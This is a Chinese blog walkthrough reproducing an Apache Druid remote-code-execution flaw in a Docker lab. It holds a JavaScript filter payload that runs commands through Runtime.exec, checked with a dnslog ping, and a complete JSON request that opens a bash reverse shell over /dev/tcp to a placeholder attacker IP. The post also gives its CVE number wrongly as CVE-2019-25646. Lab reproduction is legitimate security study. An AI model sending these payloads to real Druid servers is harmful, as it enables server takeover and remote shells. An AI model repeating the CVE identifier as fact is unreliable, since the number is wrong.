Apache Druid命令执行漏洞复现

漏洞介绍

漏洞描述

Apache Druid 是用Java编写的面向列的开源分布式数据存储,旨在快速获取大量事件数据,并在数据之上提供低延迟查询。由于Apache Druid 默认情况下缺乏授权认证,攻击者可直接构造恶意请求执行任意代码,控制服务器,风险极大。

漏洞编号

CVE-2019-25646

影响版本

Apache Druid < 0.20.1

安全建议

升级至安全版本及其以上。

环境搭建

通过docker拉取漏洞镜像

docker pull fokkodriesprong/docker-druid

docker ps

docker run -it -p8888:8888 305 //305是容器id前3位

访问 you-ip:8888 访问网页首页查看漏洞环境是否创立成功

漏洞复现

点击 Load data 按钮

点击 Local disk 按钮

在对应的输入框中输入对应的值

Firehose type:local

Base directory:quickstart/tutorial/

File filter:wikiticker-2015-09-12-sampled.json.gz

点击右下角按钮直到 Filter 模块

到达 Filter 模块,点击 Add column filter 按钮

查询内容随便填入后并抓包

将红框中内容替换为 payload 的实现远程命令执行漏洞

"type":"javascript", "function": "function(value){return java.lang.Runtime.getRuntime().exec('ping 7oogjt.dnslog.cn')}" "dimension":"HelloL", "":{ "enabled":"true" }

7oogjt.dnslog.cn是dnslog.cn点击Get SubDomain生成的网址,目的是为了让靶机通过 ping 该网址验证是否进行命令执行

点击 Refesh Record 刷新页面可以看到是否ping通

反弹shell

在服务器中开启nc监听

在原先修改的位置将 exec 中的 ping 命令替换为 bash 脚本进行 getshell

{"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript","function":"function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/攻击者IP/监听端口 0>&1')}", "dimension":"HelloL", "":{"enabled":"true"}}}}},"samplerConfig":{"numRows":500,"cacheKey":"0b2829fa83c9429cb3ce64da8bfdbf1f"}}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值